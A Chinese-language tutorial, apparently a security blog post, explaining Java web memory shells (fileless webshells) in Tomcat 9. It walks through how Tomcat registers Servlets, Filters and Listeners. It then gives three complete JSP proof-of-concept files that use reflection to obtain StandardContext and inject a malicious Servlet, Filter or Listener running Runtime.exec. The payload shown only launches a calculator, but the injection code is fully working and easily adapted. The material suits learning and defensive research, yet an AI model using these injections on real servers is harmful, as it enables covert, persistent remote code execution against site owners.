前言

最近想深入学习一下内存马,发现以前学习的还是有些浅显了,再将这个内存马巩固一下

内存马顾名思义是无文件落地的一门技术
可以让攻击者没有文件的情况下注入webshell
从而增大隐藏性

环境搭建

Java8+Tomcat9.0.111+Maven

这里我选择的是JavaEE 8,最主要的是,依赖项里要有Servlet

创建好了之后在pom.xml中添加tomcat-catalina依赖

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.111</version>
</dependency>

然后就是分别创建一个用来实验的Servlet\Filter\Listener

Web应用内存马

JavaWeb的作用是

在收到请求之后在Web容器中

经过Listener->Filter->Servlet的处理

然后再通过Servlet->Filter->Listener

来返回给客户端

​

常见的Java容器是Tomcat,我们这里使用Tomcat来实现


如果我们向Tomcat容器中向Listener、Filter、Servlet

三者注入恶意代码,就可以实现没有文件并且在Tomcat收到恶意请求时

从而完成恶意代码

​

传统的Web内存马是上传一个JSP文件,然后让服务器运行这个JSP文件,这个文件动态的向Tomcat容器中注册一个Servlet\Filter\Listener,用来执行恶意代码,之后这个JSP文件就没有用了,整个过程实现了让内存马没有文件落地,当然了,刚开始传上去的文件还是落地了,所以说还是有局限性的。

进入正题,我们知道的是如果我们要使用Servlet、Filter、Listener的任何一个,我们都可以在web.xml中来注册我们的Servlet、Filter、Listener,当然了,实战环境下我们也不可能去改变人家源码来注册,所以呢,我们可以需要来看看它读取web.xml之后的注册流程,然后我们"半路"横插一脚不久把马子注入了吗。


注册流程分析

我们来找到ContextConfig类,这是一个Web应用配置解析器,负责整个Web应用的配置加载和初始化工作。

全局搜索到这个类之后,我们将断点打在这个构造器上,然后调试:

关注到这个变量,是不是看着很可疑呢,看着就像是存储web.xml数据的

步过,然后看这个对象中的内容,当然了这个对象是刚创建的,里面肯定没有内容,但是我们看一下其中的内容

发现这里面有我们需要的内容,可疑,我们接着跟踪

发现了contextWebXml变量其中包含了我们项目中的web.xml的绝对路径,这应该就是错不了了

具体如何解析的我们就不看了,我们需要知道的是,这个webXml存储了我们的Servlet、Filter、Listener

完成了Servlet、Filter、Listener的赋值,接下来就是配置信息初始化,入口在ContextConfig类的configureContext方法

断点打在这里,我们发现它停在了这里

接着往下跟踪,一路步过我们发现:

这里开始了Filters的配置,先不看,我们继续找,然后在这里找到了Servlet、Filter、Listener的配置

然后进行注册。

好了,注册流程走完了,即ContextConfig配置解析器走完了。而Servlet、Filter、Listener应该有自己的管理器,我会在单独的里面来说。

接下来就是结合配置器和管理器来进行传统Web内存马的分析与编写了

Context分析-StandardContext对象获取

这里再补充一点context的分析,这一点在Servlet、Filter、Listener分析与编写中都起重要作用。如果每个都解释的话也没有必要,为了整个的条理性,将其放到这里讲,读者可以先跳过,等到讲到这里的时候再看

这个context是什么呢?

这是一个StandardContext,StandardContext 在Context体系中是比较底层的实现,做着Servlet生命周期管理,Filter链管理,Listener管理的工作

我们构造内存马的时候需要这个StandardContext,如何获取呢,我们可以通过

HttpServletRequest.getServletContext.context.context获取

我们可以打个断点看看

找到了这个StandardContext了,这个StandardContext当然还有别的方法得到,但是我们这个内存马,在Web层面可以获取到的变量其实是很有限的,而HttpServletRequest request变量刚好是我们可以得到的,加上这个StandardContext比较底层,可以通过这一条路来获取

我们怎么来获取呢?

我们可以通过反射来做这件事。

由于是传统的内存马,所以我们需要在JSP文件内编写

    // 获取ServletContext对象
    ServletContext ServletContext = request.getServletContext();
    //通过反射获取ApplicationContext字段
    Field ApplicationContextFiled = ServletContext.getClass().getDeclaredField("context");
    ApplicationContextFiled.setAccessible(true);
    //通过字段获取ApplicationContext对象
    Object ApplicationContext = ApplicationContextFiled.get(ServletContext);

    //通过反射获取StandardContext字段
    Field StandardContextFiled = ApplicationContext.getClass().getDeclaredField("context");
    StandardContextFiled.setAccessible(true);
    //通过字段获取StandardContext对象
    StandardContext StandardContext = (StandardContext )StandardContextFiled.get(ApplicationContext);

这一段就是通过反射获取ServletContext对象,然后getDeclaredField方法获取ApplicationContext字段,然后get(ServletContext)获取其中的值,也就是ApplicationContext对象。同理后面获取到了StandardContext对象,最后的StandardContext对象需要强制类型转换一下。

我们来梳理一下它的角色:StandardContext 用来管理所有组件的生命周期,所以说在接下来的Servlet、Filter、Listener都应该要用到它

三者区别

了解到这Servlet、Filter、Listener的区别,可以帮助我们更好的理解,内存马的代码为什么这么写,为什么这样子就可以注入内存马,怎么想到要这么找

场景重申

我们打入内存马的时候,Web端肯定是已经启动了的,各类组件处于不同的生命周期阶段,有很多东西已经加载,很多等待一定条件再加载,这一点需要搞清楚。如果还没有加载,等待着某种条件再加载,我们是不是大概率就不用管它的加载流程了呢,直接注入它的原始数据(实例化时所需的数据),这样会轻松一些。但是如果已经加载了呢,我们此时就需要关注它的运行逻辑了。

Servlet

它的加载机制是一种懒加载,Servlet只有在对应路由被访问时才创建实例,避免资源浪费。所以它执行一种,访问了再进行Servlet实例化,然后再调用。那我们是不是就不需要管他的Servlet的触发后的运行逻辑了呢,只需要改它的实例化需要的数据,接下来的事情它会自己帮我们做

Filter

它的加载机制是在Web启动的时候就会立刻实例化所有Filter,然后构建完整的过滤链以确保请求处理流水线就绪这个时候我们注入内存马再修改它的实例化所需要的数据,就已经晚了,所以我们需要自己实例化,自己执行,所以就要关注它的运行逻辑

Listener

它的加载机制是在Web启动的时候立刻实例化并且是事件驱动的。这就不得不提的它的事件分发机制了,这是一种动态的机制,当每次请求的时候事件分发机制就会遍历Listener列表,从而实现动态调用。这是在实例化后,但是Web会自己执行,所以我们只需要关注我们如何实例化并将Listener注入列表

Servlet类

ContextConfig循环是这样的

for(ServletDef servlet : webxml.getServlets().values()) {
  Wrapper wrapper = this.context.createWrapper();
  if (servlet.getLoadOnStartup() != null) {
      wrapper.setLoadOnStartup(servlet.getLoadOnStartup());
  }

  if (servlet.getEnabled() != null) {
      wrapper.setEnabled(servlet.getEnabled());
  }

  wrapper.setName(servlet.getServletName());
  Map<String, String> params = servlet.getParameterMap();

  for(Map.Entry<String, String> entry : params.entrySet()) {
      wrapper.addInitParameter((String)entry.getKey(), (String)entry.getValue());
  }

  wrapper.setRunAs(servlet.getRunAs());

  for(SecurityRoleRef roleRef : servlet.getSecurityRoleRefs()) {
      wrapper.addSecurityReference(roleRef.getName(), roleRef.getLink());
  }

  wrapper.setServletClass(servlet.getServletClass());
  MultipartDef multipartdef = servlet.getMultipartDef();
  if (multipartdef != null) {
      long maxFileSize = -1L;
      long maxRequestSize = -1L;
      int fileSizeThreshold = 0;
      if (null != multipartdef.getMaxFileSize()) {
          maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
      }

      if (null != multipartdef.getMaxRequestSize()) {
          maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
      }

      if (null != multipartdef.getFileSizeThreshold()) {
          fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
      }

      wrapper.setMultipartConfigElement(new MultipartConfigElement(multipartdef.getLocation(), maxFileSize, maxRequestSize, fileSizeThreshold));
  }

  if (servlet.getAsyncSupported() != null) {
      wrapper.setAsyncSupported(servlet.getAsyncSupported());
  }

  wrapper.setOverridable(servlet.isOverridable());
  this.context.addChild(wrapper);
}

全文看下来是围绕着wrapper这一个变量展开的,由这个名字也不难猜测这是一个储存Servlet的一个容器,我们直接在循环前后打上断点

发现这是一个StandardWrapper对象,根据官方介绍知道,这StandardWrapper类其实是用于管理Servlet生命周期,存储着Servlet实例化的所需数据。

多做了几次循环,将本身自带的Servlet循环掉,循环到我自己的Servlet了

所以我们知道了:这段代码的作用是,使用webxml.getServlets().values()获得里面的Servlet然后循环将Servlet打入StandardWrapper中,之后的动作应该就是初始化,执行啥的了。

我们还需要关注的一个点是,我们的url映射是在哪里,当然也是有的,就在下一行

所以我们的思路来了,获得这个context,构造一个wrapper,将我们的恶意wrapper最后addChild进去和addServletMappingDecoded一个url路径就可以注入内存马了。

​

我们来先构造一个 恶意的Servlet类,同样是在JSP中编写

<%!
public class EvilServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        Runtime.getRuntime().exec("calc.exe");
    }
}
%>

然后我们来编写wrapper,

wrapper编写

注:StandardContext对象获取在上文已经写了

//将恶意类EvilServlet封装到Wrapper对象中
Wrapper Wrapper = StandardContext.createWrapper();
Wrapper.setName("EvilServlet");
Wrapper.setServletClass(EvilServlet.class.getName());
Wrapper.setServlet(new EvilServlet());

StandardContext.addChild(Wrapper);
StandardContext.addServletMappingDecoded("/EvilServlet", "EvilServlet");
System.out.println("Servlet注入成功");

整体POC

(StandardContext可以看上文)

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.File" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.http.*" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public class EvilServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        Runtime.getRuntime().exec("calc.exe");
    }
}
%>

<%

    // 获取ServletContext对象
    ServletContext ServletContext = request.getServletContext();
    //通过反射获取ApplicationContext字段
    Field ApplicationContextFiled = ServletContext.getClass().getDeclaredField("context");
    ApplicationContextFiled.setAccessible(true);
    //通过字段获取ApplicationContext对象
    Object ApplicationContext = ApplicationContextFiled.get(ServletContext);

    //通过反射获取StandardContext字段
    Field StandardContextFiled = ApplicationContext.getClass().getDeclaredField("context");
    StandardContextFiled.setAccessible(true);
    //通过字段获取StandardContext对象
    StandardContext StandardContext = (StandardContext )StandardContextFiled.get(ApplicationContext);

    //将恶意类EvilServlet封装到Wrapper对象中
    Wrapper Wrapper = StandardContext.createWrapper();
    Wrapper.setName("EvilServlet");
    Wrapper.setServletClass(EvilServlet.class.getName());
    Wrapper.setServlet(new EvilServlet());

    StandardContext.addChild(Wrapper);
    StandardContext.addServletMappingDecoded("/EvilServlet", "EvilServlet");
    System.out.println("Servlet注入成功");

%>

访问对应JSP后,再访问/EvilServlet发现弹出计算器


Filter类

流程分析

由上面的Servlet内存马我们可以知道ContextConfig类在其中扮演的角色是配置解析器,对应的,Wrapper就是它的管理器。我们的Filter通过前面的铺垫,我们知道我们不仅需要关注它的管理器,也需要关注它的运行逻辑:找到那个真正只进行一次赋值的地方。

小补充:Filter的管理器在FilterConfig,调用逻辑在FilterChain

全文搜索这两个类

可以知道FilterConfig,FilterChain有分别有一个实现类。记住这两个类

既然是需要分析调用逻辑,我们就先不去看这两个类,我们先调试看看是什么情况。

调试我们在栈中发现了ApplicationFilterChain中有这样的调用和数据,在internalDoFilter中filter已经赋值到了MyFilter了,filterConfig也是我们关注的点,这个时候应该以及完成实例化和链式调用了,我们跟过去看看,是如何实例化的(这是我们关注的点),

我们看一下这个internalDoFilter方法,发现信息量还是很大的。在方法的刚开始就进行了filterConfig的赋值,赋值的是我们的filters中的pos个,这个filters数组看着就很可疑,是不是存放着我们的filter实例呢,如果是,如果我们可以找到这个filterConfig的最初的赋值方式,即Web刚开始创建时赋值filterConfig的方法,如果可以对其赋值,我们就可以将这个filter内存马注入了

这个pos是遍历的指针

我们把鼠标放上去,我们关注到一些细节,这个n是2,pos是1,要知道我自己定义了一个filter叫MyFilter,它自己本身有一个默认的filter,我想这里就是做了递归调用,如果不出意外的话这里面运行到的doFilter方法应该也调用了internalDoFilter

不出所料

我们去分析那个filters实例数组,看下里面的构成

Ctrl加左键找到声明处,其实按住左键也可以发现这就是一个ApplicatoinFilterConfig实例数组

这里只是初步new了一下,我们需要找一下它是如何被赋值的,我们才好继续构造

Ctrl左键查看在哪里使用的,这里的copyOf看着比较可疑,但是也可以一个个跳过去看,也不多

调转到了addFilter

我们看一下是谁调用了这个方法,查找调用发现在ApplicationFilterFactory中进行了调用

我们可以看到ApplicationFilterFactory中的createFilterChain方法中创建了filterchain并进行了赋值

我们这时候来看看这filterConfig是什么,存储着什么

这个循环中对filterMaps进行了遍历(而这个filterMaps就是我们之前ContextConfig中配置器配置到的内容),然后通过StandContext的一个实例调用findFilterConfig方法取出其中的filterConfig

我们看一下filterMaps是什么,首先这个context是我们的StandContext中的context实例,然后调用了findFilterMaps,

其实顾名思义这个方法就是获取FilterMaps的,我们还是点进去看看,确实是这样

大致思路

大致思路已经有了,也就是说我们构造Filter内存马的时候需要用到我们之前写的那个StandardContext实例,然后构造里面的filterMap和filterConfig就可以了

理一下思路

到这里,我们一直追到了filterConfig链子的赋值,接下来我们会分别找filterMap和filterConfig的赋值,从而实现我们对filter的赋值。而filterConfig不是随便就可以赋值的,是由初始化方法赋值的,而filter的数据是传到了ContextConfig那里,然后进行了一系列操作,而操作的对象是StandardContext的实例,这下串起来了。可以预见的是,我们如果对于filterConfig的赋值一直追踪下去,会追到filterConfig在Web创建时的filterConfig赋值方法,如果我们能调用这个方法才可以注入成功,而这个方法应该是在StandardContext中

​

先对for循环里面的内容进行审计

接下来就是具体数值的构造和if语句的绕过

前面的这些是,Dispatcher类型匹配和URL模式匹配 ,这两个分别是检测这个Filter配置在什么类型的请求下生效和这个Filter配置对哪些URL路径生效。

这里是对于filterMap的检测,而在这里遍历的filterMap会和其中的filterConfig进行对应

里面分别存储着什么呢

filterConfig:

类的路径和类名

filterMap:

url路径和类名

看接下来的if判断

我们要看这个,其实就是获取filter的名字,然后看这个名字对应的filter是否存在,存在就走到下面的addFilter

接下来我们就是要看看,filterConfigs和filterMaps分别是什么,如何赋值的

filterConfigs构造

本质上这个filterConfigs是一个HashMap,而filterConfig里面的内容我们刚才也看到了,我们要构造filterDef


可以看到这是在StandardContext中的filterStart方法中进行的赋值

遍历filterDefs将其中的键值对放入filterConfigs中

此时我们再看看这里面需要放什么,我们需要放filterClass和filterName

那这这个filterDef肯定是要先放入StandardContext中加入内容才能调用filterStart构造filterConifgs的

如何加入呢,原来是在ContextConfig中加入的,这已经在前面看过了

然后再调用filterStart构造出filterConfigs

得到代码(这个EvilFilter是构造的恶意filter类)

//filterDef的构造
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("EvilFilter");
filterDef.setFilterClass("EvilFilter");

//构造出filterConfigs
StandardContext.addFilterDef(filterDef);
StandardContext.filterStart();

Filter入口方法

这个filterStart方法如果我们再跟踪的话

会跟踪到startIntenal方法

就是Web创建时Filter初始化的入口方法,其实看这个报错也可以看出来,如果filterStart失败的话就会报出filterFail而filter只初始化一次,也就是说报错也只会在初始化的时候报出来,但是也可以说这个filterStart是初始化方法,

这也就是为什么我们的filter内存马可以构造出来的原因了,我们调用了初始化方法将filterConfigs的赋值重新来了一次,

filterMaps构造

我们搜索filterMaps

发现了addFilterMap和addFilterMapBefore方法,其中的区别就是

  • addFilterMap() → 将Map加在末尾
  • addFilterMapBefore() → 将Map加在开头

我们看一下谁调用了这个addFilterMap方法,我们又发现了这个ContextConfig,应该就是这个

掉哟个了StandardContext中的addFilterMap方法

根据我们之前对于filterMap的内容的判断

我们需要放入类名和url路径

得到代码(这个EvilFilter是构造的恶意filter类)

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("EvilFilter");

StandardContext.addFilterMap(filterMap);
//StandardContext.addFilterMapBefore(filterMap);也可以

恶意类

<%!
    public class EvilFilter extends HttpFilter {
        @Override
        protected void doFilter(HttpServletRequest request, HttpServletResponse response, FilterChain chain) throws IOException, ServletException {
            Runtime.getRuntime().exec("calc.exe");
            chain.doFilter(request, response);
        }
    }
%>

整体POC

(StandardContext可以看上文)

<%@ page import="java.lang.reflect.*" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%!
    public class EvilFilter extends HttpFilter {
        @Override
        protected void doFilter(HttpServletRequest request, HttpServletResponse response, FilterChain chain) throws IOException, ServletException {
            Runtime.getRuntime().exec("calc.exe");
            chain.doFilter(request, response);
        }
    }
%>

<%
    // 获取ServletContext对象
    ServletContext ServletContext = request.getServletContext();
    //通过反射获取ApplicationContext字段
    Field ApplicationContextFiled = ServletContext.getClass().getDeclaredField("context");
    ApplicationContextFiled.setAccessible(true);
    //通过字段获取ApplicationContext对象
    Object ApplicationContext = ApplicationContextFiled.get(ServletContext);

    //通过反射获取StandardContext字段
    Field StandardContextFiled = ApplicationContext.getClass().getDeclaredField("context");
    StandardContextFiled.setAccessible(true);
    //通过字段获取StandardContext对象
    StandardContext StandardContext = (StandardContext )StandardContextFiled.get(ApplicationContext);

    //创建恶意Filter
    EvilFilter evilFilter = new EvilFilter();

    //创建FilterDef
    FilterDef filterDef = new FilterDef();
    filterDef.setFilterName("EvilFilter");
    filterDef.setFilter(evilFilter);
    filterDef.setFilterClass(evilFilter.getClass().getName());

    //创建FilterMap
    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName("EvilFilter");

    StandardContext.addFilterDef(filterDef);
    StandardContext.addFilterMap(filterMap);
    StandardContext.filterStart();

    System.out.println("success");
%>

访问对应的JSP然后访问任意的路径就会弹出计算器

Listener类

小补充:

Java中的Listener有三类:
ServletRequestListener监听器:

事件ServletRequest开始与创建都会监听,即每次请求都会调用这个监听器

ServletRequestAttributeListener监听器:

向ServletRequest添加、删除或者替换一个属性的时候,将会调用这监听器

HttpSessionListener监听器:

当一个HttpSession刚被创建或者失效(invalidate)的时候,将调用这个监听器

所以我们理想的监听器是ServletRequestListener

我们创建监听器做实验的时候也是要使用这个

public class MyListener implements ServletRequestListener {

    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("Request initialized");
    }

    public void requestDestroyed(ServletRequestEvent sre) {
        System.out.println("Request destroyed");
    }

}


接着上文

根据上文所说的,我们需要关注它的实例化列表

我们从我们刚开始的ContextConfig中看一下,当时其中有这么一段

启动调试后查看里面listener的数据,发现根本没有实例化,所以它的实例化在哪里呢。可以注意到这里是向StandardContext对象中添加了一个类的绝对路径,我们可以猜想实例化应该实在StandardContext中

我们也不能盲目的去StandardContext中找吧,这代码太多了,所以我们继续使用调试

在我们自定义的Listener中打上断点,我们发现调用栈前有一个StandardContext的fireRequestInitEvent方法的调用,我在上文提及到,当Listener监听每一个事件的时候都会动态的遍历实例化列表,所以我们可以思考的是,实例化在StandardContext,那在执行我们的Listener的时候肯定是需要调用StandardContext的某个方法的,这个StandardContext就很可疑

我们进去看看,我们看到了它如何遍历实例化列表的。首先使用getApplicationEventListers获取列表,然后遍历获得了我们写的Listener的实例,并赋值给Listener然后调用我们写的requestInitalized

这下我们去看看这个getApplicationEventListers是从哪里来的实例化列表,看看我们是否可以注入它

Ctrl左键跟入,我们跟到StandardContext的getApplicationEventListers方法,我们发现是从applicationEventListenersList中获取,我们如果向其中注入我们的恶意Listener实例,是不是就可以注入内存马了呢

我们找一下这个applicationEventListenersList是如何赋值实例化对象的

跟进去,直接使用了一个applicationEventListener添加的

这个构造就比较简单了

恶意类

<%!
public static class EvilListener implements ServletRequestListener {
    public void requestInitialized(ServletRequestEvent sre) {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}
%>

内存马注入​

EvilListener evilListener = new EvilListener();
StandardContext.addApplicationEventListener(evilListener);

整体POC

(StandardContext可以看上文)

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public static class EvilListener implements ServletRequestListener {
    public void requestInitialized(ServletRequestEvent sre) {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}
%>

<%
    // 获取ServletContext对象
    ServletContext ServletContext = request.getServletContext();
    //通过反射获取ApplicationContext字段
    Field ApplicationContextFiled = ServletContext.getClass().getDeclaredField("context");
    ApplicationContextFiled.setAccessible(true);
    //通过字段获取ApplicationContext对象
    Object ApplicationContext = ApplicationContextFiled.get(ServletContext);

    //通过反射获取StandardContext字段
    Field StandardContextFiled = ApplicationContext.getClass().getDeclaredField("context");
    StandardContextFiled.setAccessible(true);
    //通过字段获取StandardContext对象
    StandardContext StandardContext = (StandardContext)StandardContextFiled.get(ApplicationContext);

    EvilListener evilListener = new EvilListener();
    StandardContext.addApplicationEventListener(evilListener);


%>

启动之后访问对应JSP,然后访问任意路由即可触发


留言

以上呢,是我再次学习传统Web内存马时的思路与思考,而内存马的学问还是很大的,如果要想深入内存马的话,还是任重而道远啊。

本文也是借鉴了很多师傅的内容,在这里没办法一一列举了,

感谢各位师傅!!!